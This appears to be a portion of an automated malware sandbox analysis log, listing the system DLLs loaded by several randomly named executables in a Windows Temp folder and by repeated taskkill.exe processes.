Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: msasn1.dll
